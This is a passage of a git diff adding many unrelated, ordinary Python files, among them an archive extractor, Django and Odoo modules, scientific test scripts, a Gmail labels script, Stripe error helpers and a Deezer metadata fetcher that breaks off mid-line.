+ container = Container(file_.data, file_.offset) + if container.read_header(): + if not args.e: + container.info() + else: + offset = 0 + output = args.output_directory + if output is None: + output = args.file[:-4] + '_data' + if not os.path.exists(output): + os.mkdir(output) + for fs in container.read_data(): + name = os.path.join(output, fs['name']) + if not 'offset' in fs.keys(): + if not os.path.exists(name): + os.mkdir(name) + else: + with open(name, 'wb') as f: + offset, size = fs['offset'], fs['size'] + try: + data = file_.data[offset:offset + size] + offset += size + if container.header.compress_files == 1: + a = aPLib(data) + data = a.depack() + except Exception as e: + print(e) + else: + f.write(data) \ No newline at end of file diff --git a/pool/shard009/Python/0081875_ipc_client.py b/pool/shard009/Python/0081875_ipc_client.py new file mode 100644 index 0000000000000000000000000000000000000000..d1f54024d93a583fb0d687615ea58367d30882f6 --- /dev/null +++ b/pool/shard009/Python/0081875_ipc_client.py @@ -0,0 +1,17 @@ +#!/usr/bin/env python3 + +import sys +import socket + +HOST = '127.0.0.1' # The remote host +PORT = 50007 # The same port as used by the server + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect((HOST, PORT)) + +if not len(sys.argv) > 1: + sys.exit(1) + +data = ' '.join(sys.argv[1:]).encode('utf8') +s.sendall(data) +s.close() diff --git a/pool/shard009/Python/0081880_StepListView.py b/pool/shard009/Python/0081880_StepListView.py new file mode 100644 index 0000000000000000000000000000000000000000..c34ec6a71acdffccb7126480b8b124b50c68bbe4 --- /dev/null +++ b/pool/shard009/Python/0081880_StepListView.py @@ -0,0 +1,38 @@ +''' +Created on 26 juil. 2017 + +@author: worm +''' +from django.views.generic.list import ListView + +from collections import OrderedDict +from snapshotServer.models import TestCaseInSession,\ + TestStepsThroughTestCaseInSession +from snapshotServer.views.LoginRequiredMixinConditional import LoginRequiredMixinConditional + +class StepListView(LoginRequiredMixinConditional, ListView): + """ + View displaying the list of steps for a test case in a session + """ + + template_name = "snapshotServer/stepList.html" + + def get_queryset(self): + """ + @param testCaseInSessionId + """ + try: + test_steps = TestCaseInSession.objects.get(id=self.kwargs['testCaseInSessionId']).testSteps.all().order_by('teststepsthroughtestcaseinsession__order') + return OrderedDict([(s, s.isOkWithSnapshots(self.kwargs['testCaseInSessionId'])) for s in test_steps]) + except: + return [] + + def get_context_data(self, **kwargs): + context = super(StepListView, self).get_context_data(**kwargs) + context['testCaseId'] = self.kwargs['testCaseInSessionId'] + + if self.request.GET.get('header', 'false') == 'true': + context['header'] = True + else: + context['header'] = False + return context \ No newline at end of file diff --git a/pool/shard009/Python/0081881_product_pricelist.py b/pool/shard009/Python/0081881_product_pricelist.py new file mode 100644 index 0000000000000000000000000000000000000000..22a541933bb4ff39316ad9916c20768276119731 --- /dev/null +++ b/pool/shard009/Python/0081881_product_pricelist.py @@ -0,0 +1,113 @@ +# -*- coding: utf-8 -*- +# Part of Odoo. See LICENSE file for full copyright and licensing details. + +from odoo import models +from odoo.tools import populate +from datetime import timedelta, date + + +class Pricelist(models.Model): + _inherit = "product.pricelist" + _populate_sizes = {"small": 20, "medium": 100, "large": 1_500} + _populate_dependencies = ["res.company"] + + def _populate(self, size): + + # Reflect the settings with data created + self.env['res.config.settings'].create({ + 'group_product_pricelist': True, # Activate pricelist + 'group_sale_pricelist': True, # Activate advanced pricelist + }).execute() + + return super()._populate(size) + + def _populate_factories(self): + company_ids = self.env.registry.populated_models["res.company"] + + return [ + ("company_id", populate.iterate(company_ids + [False for i in range(len(company_ids))])), + ("name", populate.constant('product_pricelist_{counter}')), + ("currency_id", populate.randomize(self.env["res.currency"].search([("active", "=", True)]).ids)), + ("sequence", populate.randomize([False] + [i for i in range(1, 101)])), + ("discount_policy", populate.randomize(["with_discount", "without_discount"])), + ("active", populate.randomize([True, False], [0.8, 0.2])), + ] + + +class PricelistItem(models.Model): + _inherit = "product.pricelist.item" + _populate_sizes = {"small": 500, "medium": 5_000, "large": 50_000} + _populate_dependencies = ["product.product", "product.template", "product.pricelist"] + + def _populate_factories(self): + pricelist_ids = self.env.registry.populated_models["product.pricelist"] + product_ids = self.env.registry.populated_models["product.product"] + p_tmpl_ids = self.env.registry.populated_models["product.template"] + categ_ids = self.env.registry.populated_models["product.category"] + + def get_target_info(iterator, field_name, model_name): + random = populate.Random("pricelist_target") + for values in iterator: + # If product population is updated to consider multi company + # the company of product would have to be considered + # for product_id & product_tmpl_id + applied_on = values["applied_on"] + if applied_on == "0_product_variant": + values["product_id"] = random.choice(product_ids) + elif applied_on == "1_product": + values["product_tmpl_id"] = random.choice(p_tmpl_ids) + elif applied_on == "2_product_category": + values["categ_id"] = random.choice(categ_ids) + yield values + + def get_prices(iterator, field_name, model_name): + random = populate.Random("pricelist_prices") + for values in iterator: + # Fixed price, percentage, formula + compute_price = values["compute_price"] + if compute_price == "fixed": + # base = "list_price" = default + # fixed_price + values["fixed_price"] = random.randint(1, 1000) + elif compute_price == "percentage": + # base = "list_price" = default + # percent_price + values["percent_price"] = random.randint(1, 100) + else: # formula + # pricelist base not considered atm. + values["base"] = random.choice(["list_price", "standard_price"]) + values["price_discount"] = random.randint(0, 100) + # price_min_margin, price_max_margin + # price_round ??? price_discount, price_surcharge + yield values + + now = date.today() + + def get_date_start(values, counter, random): + if random.random() > 0.5: # 50 % of chance to have validation dates + return now + timedelta(days=random.randint(-20, 20)) + else: + False + + def get_date_end(values, counter, random): + if values['date_start']: # 50 % of chance to have validation dates + return values['date_start'] + timedelta(days=random.randint(5, 100)) + else: + False + + return [ + ("pricelist_id", populate.randomize(pricelist_ids)), + ("applied_on", populate.randomize( + ["3_global", "2_product_category", "1_product", "0_product_variant"], + [5, 3, 2, 1], + )), + ("compute_price", populate.randomize( + ["fixed", "percentage", "formula"], + [5, 3, 1], + )), + ("_price", get_prices), + ("_target", get_target_info), + ("min_quantity", populate.randint(0, 50)), + ("date_start", populate.compute(get_date_start)), + ("date_end", populate.compute(get_date_end)), + ] diff --git a/pool/shard009/Python/0081882_localized_datetime_oad_test.py b/pool/shard009/Python/0081882_localized_datetime_oad_test.py new file mode 100644 index 0000000000000000000000000000000000000000..820dba8e10a6bd2739ee8bf196eb18fd70fd2743 --- /dev/null +++ b/pool/shard009/Python/0081882_localized_datetime_oad_test.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 + +""" +Created on 26 Sep 2019 + +@author: Bruno Beloff (bruno.beloff@southcoastscience.com) +""" + +from pytz import timezone as pytz_timezone + +from scs_core.data.datetime import LocalizedDatetime + + +# -------------------------------------------------------------------------------------------------------------------- +# run... + +oad = 43733.54461 + +print("oad: %f..." % oad) +datetime = LocalizedDatetime.construct_from_oad(oad) +print(datetime) +print("-") + +timezone = pytz_timezone('Europe/Athens') +print("timezone: %s..." % timezone) + +datetime = LocalizedDatetime.construct_from_oad(oad, timezone) +print(datetime) +print("-") + +print("pulled to UTC...") +datetime = datetime.utc() +print(datetime) +print("-") + diff --git a/pool/shard009/Python/0081883_KeEn.py b/pool/shard009/Python/0081883_KeEn.py new file mode 100644 index 0000000000000000000000000000000000000000..9aa3d243db0fc23b516b2ee1158a90afc5df9ca8 --- /dev/null +++ b/pool/shard009/Python/0081883_KeEn.py @@ -0,0 +1,79 @@ +from Monument import Monument, Dataset +import importer_utils as utils +import importer as importer + + +class KeEn(Monument): + + def update_descriptions(self): + descs = {"en": "National Monument of Kenya"} + for lang in descs: + self.add_description(lang, descs[lang]) + + def update_labels(self): + english = utils.remove_markup(self.name) + self.add_label("en", english) + + def set_heritage_id(self): + prefix = self.mapping["table_name"].upper() + wlm_id = "{}-{}".format(prefix, str(self.id)) + self.add_statement("wlm_id", wlm_id) + + def set_heritage_start(self): + if self.has_non_empty_attribute("gazette"): + heritage = self.mapping["heritage"]["item"] + date_dict = utils.date_to_dict(self.gazette, "%Y") + qualifier = {"start_time": {"time_value": date_dict}} + self.substitute_statement("heritage_status", heritage, qualifier) + + def set_adm_location(self): + adm_match = None + if self.has_non_empty_attribute("county"): + adm_match = utils.q_from_first_wikilink("en", self.county) + + if adm_match: + self.add_statement("located_adm", adm_match) + else: + self.add_to_report("county", self.county, "located_adm") + + def set_location(self): + loc_match = None + if self.has_non_empty_attribute("location"): + loc_match = utils.q_from_first_wikilink("en", self.location) + + if loc_match: + self.add_statement("location", loc_match) + else: + self.add_to_report("location", self.location, "location") + + def set_directions(self): + if self.has_non_empty_attribute("address"): + dirs = utils.package_monolingual(self.address, "en") + self.add_statement("directions", dirs) + + def __init__(self, db_row_dict, mapping, data_files, existing, repository): + Monument.__init__(self, db_row_dict, mapping, + data_files, existing, repository) + self.set_monuments_all_id("id") + self.set_changed() + self.set_wlm_source() + self.set_country() + self.set_coords(("lat", "lon")) + self.set_adm_location() + self.set_location() + self.set_commonscat() + self.set_is() + self.set_heritage_id() + self.set_heritage() + self.set_heritage_start() + self.set_directions() + self.update_labels() + self.update_descriptions() + self.set_wd_item(self.find_matching_wikidata(mapping)) + + +if __name__ == "__main__": + """Command line entry point for importer.""" + args = importer.handle_args() + dataset = Dataset("ke", "en", KeEn) + importer.main(args, dataset) diff --git a/pool/shard009/Python/0081884_misc.py b/pool/shard009/Python/0081884_misc.py new file mode 100644 index 0000000000000000000000000000000000000000..4b775303c1b49b8a2daf9c593b4bc2983def33bf --- /dev/null +++ b/pool/shard009/Python/0081884_misc.py @@ -0,0 +1,165 @@ +from abc import ABC, abstractmethod +from collections import OrderedDict, deque, namedtuple +from datetime import datetime, timedelta +from math import asin, cos, radians, sin, sqrt + + +class ObjectCollector: + def __init__(self): + self.objects = deque() + self._i_by_id = {} + + def get(self, obj, **kwargs): + i = self._i_by_id.get(id(obj)) + if i is None: + i = len(self._i_by_id) + self._i_by_id[id(obj)] = i + self.objects.append(None) + self.objects[i] = obj.serialize(_collector=self, **kwargs) + return i + + +class Serializable(ABC): + subclasses = {} + + @classmethod + def _collect_serializables(cls): + cls.serialized_type_name = cls._get_serialized_type_name() + cls.subclasses = {cls.serialized_type_name: cls} if cls.serialized_type_name is not None else {} + for sc in cls.__subclasses__(): + cls.subclasses.update(sc._collect_serializables()) + return cls.subclasses + + @classmethod + @abstractmethod + def _get_serialized_type_name(cls): + pass + + def serialize(self, by_reference=False, **kwargs): + if self.serialized_type_name is None: + raise TypeError('Only subclasses of this class can be serialized.') + + if by_reference: + from ..models import Model + collector = ObjectCollector() + if isinstance(self, Model): + collector.get(self, **kwargs) + return OrderedDict({ + '@objects': tuple(collector.objects) + }) + + result = OrderedDict({ + '@type': self.serialized_type_name, + }) + if by_reference: + result.update(self._serialize(_collector=collector, **kwargs)) + result['@objects'] = tuple(collector.objects) + else: + result.update(self._serialize(**kwargs)) + + return result + + @classmethod + def unserialize(cls, data): + data = data.copy() + type_ = data.pop('@type') + class_ = cls.subclasses.get(type_) + if class_ is None: + raise ValueError('Expected @type to be %s subclass, not %s' % (cls.__name__, type_)) + return class_._unserialize(data) + + @abstractmethod + def _serialize(self): + pass + + @classmethod + @abstractmethod + def _unserialize(cls, data): + pass + + +class SimpleSerializable(Serializable, ABC): + @classmethod + def unserialize(cls, data): + if isinstance(data, (dict, OrderedDict)) and '@type' in data: + return super().unserialize(data) + return cls._simple_unserialize(data) + + def serialize(self, simple=True, **kwargs): + if self.serialized_type_name is None: + raise TypeError('Only subclasses of this class can be serialized.') + + return self._simple_serialize() if simple else super().serialize(**kwargs) + + def _serialize(self, **kwargs): + return {'value': self._simple_serialize()} + + @classmethod + def _unserialize(cls, data): + return cls._simple_unserialize(data['value']) + + @abstractmethod + def _simple_serialize(self): + pass + + @classmethod + @abstractmethod + def _simple_unserialize(cls, data): + pass + + +class Coordinates(SimpleSerializable, namedtuple('Coordinates', ('lat', 'lon'))): + """ + Coordinates in WGS84. Has a lat and lon attribute. Implemented as namedtuple. + """ + def distance_to(self, other): + """ + Get distance to other Coordinates object in meteres. + """ + if not isinstance(other, Coordinates): + raise TypeError('distance_to expected Coordinates object, not %s' % repr(other)) + + lon1, lat1, lon2, lat2 = map(radians, [self.lon, self.lat, other.lon, other.lat]) + return 12742000 * asin(sqrt(sin((lat2-lat1)/2)**2+cos(lat1)*cos(lat2)*sin((lon2-lon1)/2)**2)) + + @classmethod + def _get_serialized_type_name(cls): + return 'coordinates' + + def _simple_serialize(self): + return [self.lat, self.lon] + + @classmethod + def _simple_unserialize(cls, data): + return cls(*data) + + def __reversed__(self): + return tuple(self)[::-1] + + +class LiveTime(Serializable, namedtuple('LiveTime', ('time', 'delay'))): + def __new__(self, time, delay=None): + if not isinstance(time, datetime): + raise TypeError('time has to be datetime, not %s' % repr(time)) + + if not isinstance(delay, timedelta): + raise TypeError('delay has to be timedelta or None, not %s' % repr(delay)) + + return super().__new__(time, delay) + + def __str__(self): + out = self.time.strftime('%Y-%m-%d %H:%M') + if self.delay is not None: + out += ' %+d' % (self.delay.total_seconds() / 60) + return out + + @property + def is_live(self): + return self.delay is not None + + @property + def expected_time(self): + if self.delay is not None: + return self.time + self.delay + else: + return self.time diff --git a/pool/shard009/Python/0081892_exceptions.py b/pool/shard009/Python/0081892_exceptions.py new file mode 100644 index 0000000000000000000000000000000000000000..28a17284a3d2b62e59dd550cc1448d243beb18f6 --- /dev/null +++ b/pool/shard009/Python/0081892_exceptions.py @@ -0,0 +1,102 @@ +""" +(c) Copyright 2014,2015 Hewlett-Packard Development Company, L.P. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. + + +""" + +import logging + +import falcon + +from freezer_api.common._i18n import _ + + +class FreezerAPIException(falcon.HTTPError): + """ + Base Freezer API Exception + """ + message = "unknown error" + + def __init__(self, message=''): + if message: + self.message = _(str(message)) # noqa + logging.error(message) + Exception.__init__(self, message) + + @staticmethod + def handle(ex, req, resp, params): + raise falcon.HTTPError(_('500 unknown server error'), + title=_("Internal Server Error"), + description=FreezerAPIException.message) + + +class BadDataFormat(FreezerAPIException): + @staticmethod + def handle(ex, req, resp, params): + raise falcon.HTTPBadRequest( + title=_("Bad request format"), + description=ex.message) + + +class DocumentExists(FreezerAPIException): + @staticmethod + def handle(ex, req, resp, params): + raise falcon.HTTPConflict( + title=_("Document already existing"), + description=ex.message) + + +class StorageEngineError(FreezerAPIException): + @staticmethod + def handle(ex, req, resp, params): + raise falcon.HTTPInternalServerError( + title=_("Internal Storage Error"), + description=ex.message) + + +class DocumentNotFound(FreezerAPIException): + @staticmethod + def handle(ex, req, resp, params): + raise falcon.HTTPError( + status=falcon.HTTP_404, + title=_("Not Found"), + description=ex.message) + + +class AccessForbidden(FreezerAPIException): + @staticmethod + def handle(ex, req, resp, params): + raise falcon.HTTPForbidden( + title=_("Access Forbidden"), + description="You are not allowed to access this resource") + + +class MethodNotImplemented(FreezerAPIException): + @staticmethod + def handle(ex, req, resp, params): + raise falcon.HTTPMethodNotAllowed( + title=_("Bad Method"), + description=ex.message, + allowed_methods=['GET', 'POST', 'HEAD', 'PATCH', 'DELETE']) + + +exception_handlers_catalog = [ + BadDataFormat, + DocumentExists, + StorageEngineError, + DocumentNotFound, + AccessForbidden, + MethodNotImplemented +] diff --git a/pool/shard009/Python/0081893_test_msm_laplace.py b/pool/shard009/Python/0081893_test_msm_laplace.py new file mode 100644 index 0000000000000000000000000000000000000000..a8d55374f7c4d058d4bd1889d5d8ff45a4efab1a --- /dev/null +++ b/pool/shard009/Python/0081893_test_msm_laplace.py @@ -0,0 +1,166 @@ +# c: 07.05.2007, r: 25.06.2008 +from sfepy import data_dir + +filename_mesh = data_dir + '/meshes/2d/special/circle_in_square.mesh' + +dim = 2 + +field_1 = { + 'name' : 'a_harmonic_field', + 'dtype' : 'real', + 'shape' : 'scalar', + 'region' : 'Omega', + 'approx_order' : 1, +} + +variables = { + 't': ('unknown field', 'a_harmonic_field', 0), + 's': ('test field', 'a_harmonic_field', 't'), +} + +regions = { + 'Omega' : 'all', + 'Gamma' : ('vertices of surface', 'facet'), +} + +ebcs = { + 't_left' : ('Gamma', {'t.0' : 'ebc'}), +} + +integral_1 = { + 'name' : 'i', + 'order' : 2, +} + +coef = 2.0 +materials = { + 'coef' : ({'val' : coef},), + 'rhs' : 'rhs', +} + +equations = { + 'Temperature' : + """dw_laplace.i.Omega( coef.val, s, t ) + = - dw_volume_lvf.i.Omega( rhs.val, s )""", +} + +solutions = { + 'sincos' : ('t', 'sin( 3.0 * x ) * cos( 4.0 * y )', + '-25.0 * %s * sin( 3.0 * x ) * cos( 4.0 * y )' % coef), + 'poly' : ('t', '(x**2) + (y**2)', '4.0 * %s' % coef), + 'polysin' : ('t', '((x - 0.5)**3) * sin( 5.0 * y )', + '%s * (6.0 * (x - 0.5) * sin( 5.0 * y ) - 25.0 * ((x - 0.5)**3) * sin( 5.0 * y ))' % coef), +} + +solver_0 = { + 'name' : 'ls', + 'kind' : 'ls.scipy_direct', +} + +solver_1 = { + 'name' : 'newton', + 'kind' : 'nls.newton', + + 'i_max' : 1, + 'eps_a' : 1e-10, +} + +import numpy as nm +from sfepy.base.testing import TestCommon +from sfepy.base.base import debug, pause, assert_ +output_name = 'test_msm_laplace_%s.vtk' + +## +# c: 07.05.2007, r: 09.05.2008 +solution = [''] +def ebc(ts, coor, **kwargs): + expression = solution[0] + val = TestCommon.eval_coor_expression( expression, coor ) + return nm.atleast_1d( val ) + +def rhs(ts, coor, mode=None, expression=None, **kwargs): + if mode == 'qp': + if expression is None: + expression = '0.0 * x' + + val = TestCommon.eval_coor_expression( expression, coor ) + val.shape = (val.shape[0], 1, 1) + + return {'val' : val} + +functions = { + 'ebc' : (ebc,), + 'rhs' : (rhs,), +} + +## +# c: 07.05.2008 +class Test( TestCommon ): + + ## + # c: 07.05.2007, r: 07.05.2008 + def from_conf( conf, options ): + from sfepy.discrete import Problem + + problem = Problem.from_conf(conf) + test = Test( problem = problem, + conf = conf, options = options ) + return test + from_conf = staticmethod( from_conf ) + + ## + # c: 09.05.2007, r: 25.06.2008 + def _build_rhs( self, sols ): + for sol in sols.itervalues(): + assert_( len( sol ) == 3 ) + return sols + + ## + # c: 07.05.2007, r: 09.05.2008 + def test_msm_laplace( self ): + import os.path as op + problem = self.problem + + variables = problem.get_variables() + materials = problem.get_materials() + + sols = self._build_rhs( self.conf.solutions ) + + ok = True + for sol_name, sol in sols.iteritems(): + self.report( 'testing', sol_name ) + var_name, sol_expr, rhs_expr = sol + + self.report( 'sol:', sol_expr ) + self.report( 'rhs:', rhs_expr ) + globals()['solution'][0] = sol_expr + materials['rhs'].function.set_extra_args(expression=rhs_expr) + problem.time_update() + state = problem.solve() + coor = variables[var_name].field.get_coor() + ana_sol = self.eval_coor_expression( sol_expr, coor ) + num_sol = state(var_name) + + ana_norm = nm.linalg.norm( ana_sol, nm.inf ) + ret = self.compare_vectors( ana_sol, num_sol, + allowed_error = ana_norm * 1e-2, + label1 = 'analytical %s' % var_name, + label2 = 'numerical %s' % var_name, + norm = nm.inf ) + if not ret: + self.report( 'variable %s: failed' % var_name ) + + fname = op.join( self.options.out_dir, self.conf.output_name ) + out = {} + astate = state.copy() + astate.set_full(ana_sol) + aux = astate.create_output_dict() + out['ana_t'] = aux['t'] + aux = state.create_output_dict() + out['num_t'] = aux['t'] + + problem.domain.mesh.write( fname % sol_name, io = 'auto', out = out ) + + ok = ok and ret + + return ok diff --git a/pool/shard009/Python/0081895_viewsets.py b/pool/shard009/Python/0081895_viewsets.py new file mode 100644 index 0000000000000000000000000000000000000000..8f75e266b0559e9cfc716cd45881ecb53f9bf95b --- /dev/null +++ b/pool/shard009/Python/0081895_viewsets.py @@ -0,0 +1,29 @@ +# -*- coding: utf-8 -*- + +"""RelayDomain viewsets.""" + +from __future__ import unicode_literals + +from rest_framework import viewsets +from rest_framework.permissions import DjangoModelPermissions, IsAuthenticated + +from modoboa.admin import models as admin_models +from . import serializers + + +class RelayDomainViewSet(viewsets.ModelViewSet): + """RelayDomain viewset.""" + + permission_classes = [IsAuthenticated, DjangoModelPermissions, ] + serializer_class = serializers.RelayDomainSerializer + + def get_queryset(self): + """Filter queryset based on current user.""" + return ( + admin_models.Domain.objects.get_for_admin(self.request.user) + .filter(type="relaydomain") + ) + + def perform_destroy(self, instance): + """Add custom args to delete call.""" + instance.delete(self.request.user) diff --git a/pool/shard009/Python/0081901_determine-significant-pairs.py b/pool/shard009/Python/0081901_determine-significant-pairs.py new file mode 100644 index 0000000000000000000000000000000000000000..f026ec2f04cf50e705e4bedef45141fe9eb2960b --- /dev/null +++ b/pool/shard009/Python/0081901_determine-significant-pairs.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (C) 2015 Louis Dijkstra + +This file is part of gonl-sv + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +""" + +from __future__ import print_function, division +from optparse import OptionParser +import os +import sys +import math +import vcf + +sys.path.insert(0, os.path.abspath(os.path.dirname(__file__))[:-3] + 'python') +from BenjaminiHochbergFDR import * + +__author__ = "Louis Dijkstra" + +usage = """%prog [options] ... + +Reads in multiple '.pairs' files and returns the percentage of pairs deemed significant. +The option '--list' returns the list of all significant pairs. +""" + +def main(): + parser = OptionParser(usage=usage) + parser.add_option("--list", action="store_true", dest="output_list", default=False, + help = "List of significant pairs is outputted.") + parser.add_option("-q", action="store", dest="q", default=0.05, type=float, + help = "Q-value for Benjaminin-Hochberg's FDR procedure. (Default = 0.05)") + parser.add_option("-r", action="store", dest="r2_threshold", default=0.8, type=float, + help = "R^2 threshold for determining material significance. (Default = 0.8)") + (options, args) = parser.parse_args() + + if (len(args) < 1): + parser.print_help() + return 1 + + r = [] + p_values = [] + + n_pairs = 0 # total number of pairs + n_mat_sign_pairs = 0 # materially significant pairs + n_stat_mat_sign_pairs = 0 # materially and statistically significant pairs + + for filename in args: + pairs_file = open(filename, 'r') + + for line in pairs_file: + if line[0] != '-': + continue + values = line.split() + n_pairs += 1 + r.append(float(values[3])) + p_values.append(float(values[4])) + if r[-1] ** 2.0 >= options.r2_threshold: + n_mat_sign_pairs += 1 + + r_stat_sign = benjamini_hochberg(options.q, p_values, r) ; + for r_value in r_stat_sign: + if r_value ** 2 >= options.r2_threshold: + n_stat_mat_sign_pairs += 1 + + print("# SNP-deletion pairs: ", n_pairs) + print("# materially significant SNP-deletion pairs (R^2 >= %f): "%options.r2_threshold, n_mat_sign_pairs) + print("# statistically significant SNP-deletion pairs (q = %f): "%options.q, len(r_stat_sign)) + print("# materially/statistically significant SNP-deletion pairs: ", n_stat_mat_sign_pairs) + + if options.output_list: + pass + + + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/pool/shard009/Python/0081902_hr_payslip.py b/pool/shard009/Python/0081902_hr_payslip.py new file mode 100644 index 0000000000000000000000000000000000000000..97695a4f19a91272a3c0494edf7f824ffaf4c4b9 --- /dev/null +++ b/pool/shard009/Python/0081902_hr_payslip.py @@ -0,0 +1,35 @@ +# -*- coding: utf-8 -*- +# Copyright 2018 OpenSynergy Indonesia +# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). + +from openerp import api, fields, models + + +class HrPayslip(models.Model): + _inherit = "hr.payslip" + + @api.multi + @api.depends("employee_id", "date_from", "date_to") + def _compute_computation_ids(self): + obj_sheet = self.env["hr_timesheet_sheet.sheet"] + for payslip in self: + computation_ids = [] + criteria = [ + ("employee_id", "=", payslip.employee_id.id), + ("date_from", ">=", payslip.date_from), + ("date_to", "<=", payslip.date_to), + ("state", "=", "done"), + ] + timesheets = obj_sheet.search(criteria) + for timesheet in timesheets: + computation_ids += timesheet.computation_ids.ids + payslip.timesheet_computation_ids = [(6, 0, computation_ids)] + + timesheet_computation_ids = fields.Many2many( + string="Timesheet Computations", + comodel_name="hr.timesheet_computation", + compute="_compute_computation_ids", + relation="rel_payslip_2_timesheet_computation", + column1="payslip_id", + column2="computation_id", + ) diff --git a/pool/shard009/Python/0081914_admin.py b/pool/shard009/Python/0081914_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..c302301864d6db09c576df21952ed35619655538 --- /dev/null +++ b/pool/shard009/Python/0081914_admin.py @@ -0,0 +1,85 @@ +#! /usr/bin/env python +# -*- coding: utf-8 -*- +# Author: AxiaCore S.A.S. http://axiacore.com +from django.contrib import admin +from django import forms +from django.utils.encoding import force_text +from django.utils.html import format_html + +from django_extlog.models import ExtLog +from django_extensions.db.fields.json import JSONField + + +class JSONReadonlyTextArea(forms.Textarea): + + def render(self, name, value, attrs=None): + if value is None: + value = '' + html = u'' + if value: + for key, item in value[0]['fields'].items(): + html += u''' + {0}: {1}
+ '''.format(key, force_text(item)) + return format_html(html) + + +class ExtLogAdmin(admin.ModelAdmin): + + list_filter = [ + 'user', + 'action', + 'created_at', + ] + + date_hierarchy = 'created_at' + + list_display = [ + 'created_at', + 'action', + 'get_model_name', + 'object_id', + 'user', + 'ip', + ] + + search_fields = [ + 'object_instance', + 'ip', + ] + + formfield_overrides = { + JSONField: {'widget': JSONReadonlyTextArea}, + } + + def has_delete_permission(self, request, obj=None): + return False + + def has_add_permission(self, request): + return False + + def get_actions(self, request): + actions = super(ExtLogAdmin, self).get_actions(request) + if 'delete_selected' in actions: + del actions['delete_selected'] + return actions + + def get_readonly_fields(self, request, obj=None): + # make all fields readonly + readonly_fields = list(set( + [field.name for field in self.opts.local_fields] + + [field.name for field in self.opts.local_many_to_many] + )) + if 'object_instance' in readonly_fields: + readonly_fields.remove('object_instance') + return readonly_fields + + def formfield_for_dbfield(self, db_field, **kwargs): + if db_field.name == 'object_instance': + kwargs['widget'] = JSONReadonlyTextArea() + return super(ExtLogAdmin, self).formfield_for_dbfield( + db_field, + **kwargs + ) + +admin.site.register(ExtLog, ExtLogAdmin) diff --git a/pool/shard009/Python/0081920_mymodule.py b/pool/shard009/Python/0081920_mymodule.py new file mode 100644 index 0000000000000000000000000000000000000000..972c9e3e3a89e1c9ada71e67715c718d3ff05617 --- /dev/null +++ b/pool/shard009/Python/0081920_mymodule.py @@ -0,0 +1,37 @@ +import authorization + +from httplib2 import Http +from apiclient.discovery import build +import numpy as np +from xlwings import Workbook, Range + +SCOPES = 'https://www.googleapis.com/auth/gmail.modify' +CLIENT_SECRET_FILE = 'client_secret.json' +APPLICATION_NAME = 'Gmail' + +def test(): + credentials = authorization.get_credentials(SCOPES,CLIENT_SECRET_FILE,APPLICATION_NAME) + service = build('gmail', 'v1', http=credentials.authorize(Http())) + results = service.users().labels().list(userId='me').execute() + labels = results.get('labels', []) + + if not labels: + print 'No labels found.' + else: + print 'Labels:' + i = 1 + for label in labels: + try: + wb = Workbook('Book1') + Range((i,1)).value = label['name'].encode("shift-jis") + except: + print "error" + i += 1 + +def rand_numbers(): + """ produces standard normally distributed random numbers with shape (n,n)""" + wb = Workbook('Book1') # Creates a reference to the calling Excel file + n = int(Range('Sheet1', 'B1').value) # Write desired dimensions into Cell B1 + rand_num = np.random.randn(n, n) + Range('Sheet1', 'C3').value = rand_num + diff --git a/pool/shard009/Python/0081921_util.py b/pool/shard009/Python/0081921_util.py new file mode 100644 index 0000000000000000000000000000000000000000..4cdcb8bda3a70306c4bbee69aca88a3ff6b025a3 --- /dev/null +++ b/pool/shard009/Python/0081921_util.py @@ -0,0 +1,54 @@ +"""Stripe utils and some custom stuff.""" + +from twisted.internet import defer + +from stripe.util import * # noqa + +from txstripe import error + + +@defer.inlineCallbacks +def handle_api_error(resp): + """Stolen straight from the Stripe Python source.""" + content = yield resp.json() + + headers = HeaderWrapper(resp.headers) + + try: + err = content['error'] + except (KeyError, TypeError): + raise error.APIError( + "Invalid response object from API: %r (HTTP response code " + "was %d)" % (content, resp.code), + resp, resp.code, content, headers) + + if resp.code in [400, 404]: + raise error.InvalidRequestError( + err.get('message'), err.get('param'), + resp, resp.code, content, headers) + elif resp.code == 401: + raise error.AuthenticationError( + err.get('message'), + resp, resp.code, content, headers) + elif resp.code == 402: + raise error.CardError( + err.get('message'), err.get('param'), err.get('code'), + content, resp.code, resp, headers) + else: + raise error.APIError( + err.get('message'), content, resp.code, resp, headers) + + +class HeaderWrapper(dict): + + """Simple wrapper for Twisted headers to behave like a dict.""" + + def __init__(self, headers): + self.headers = headers + + def __getitem__(self, name): + headers = self.headers.getRawHeaders(name, None) + if headers: + return headers + + raise KeyError(name) diff --git a/pool/shard009/Python/0081922_metadatasource.py b/pool/shard009/Python/0081922_metadatasource.py new file mode 100644 index 0000000000000000000000000000000000000000..76b91272a6cb597c6adf2aca902d157ce878a838 --- /dev/null +++ b/pool/shard009/Python/0081922_metadatasource.py @@ -0,0 +1,115 @@ +import threading +import time +import requests +import json + + +class MetadataSource(threading.Thread): + + + def __init__(self, config, action, identifier, content_type=""): + threading.Thread.__init__(self) + self._config = config + self._action = action + self._identifier = identifier + self._content_type = content_type + self._result = False + + + # Starting point for thread + def run(self): + + if (self._action == "search"): + self._result = self.get_data() + elif(self._action == "select"): + if (self._content_type == "artist"): + self._result = self.get_artist(self._identifier) + + elif (self._content_type == "album"): + self._result = self.get_album(self._identifier) + elif (self._content_type == "track"): + self._result = self.get_track(self._identifier) + else: + self._result = False + + if 'error' in self._result.keys() or not self._result: + self._result['error'] = "Not found" + self._result['status'] = 404 + + + # Collect all the artists + def get_artists(self, term): + r = requests.get("http://api.deezer.com/search/artist?q=%s" % term) + artists = 